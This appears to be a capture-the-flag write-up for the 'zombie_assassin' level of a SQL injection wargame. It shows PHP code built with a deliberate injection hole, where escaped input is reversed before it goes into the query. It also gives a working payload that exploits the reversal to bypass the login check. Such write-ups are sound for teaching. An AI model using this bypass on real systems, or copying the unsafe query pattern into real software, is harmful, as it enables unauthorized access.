Post

LOS Lv.17 zombie_assassin

##

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query : select id from prob_zombie_assassin where id='' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

Solution

1
2
3
?id="&pw=%23 1 ro

-> select id from prob_zombie_assassin where id='"\' and pw='or 1 #'
This post is licensed under CC BY 4.0 by the author.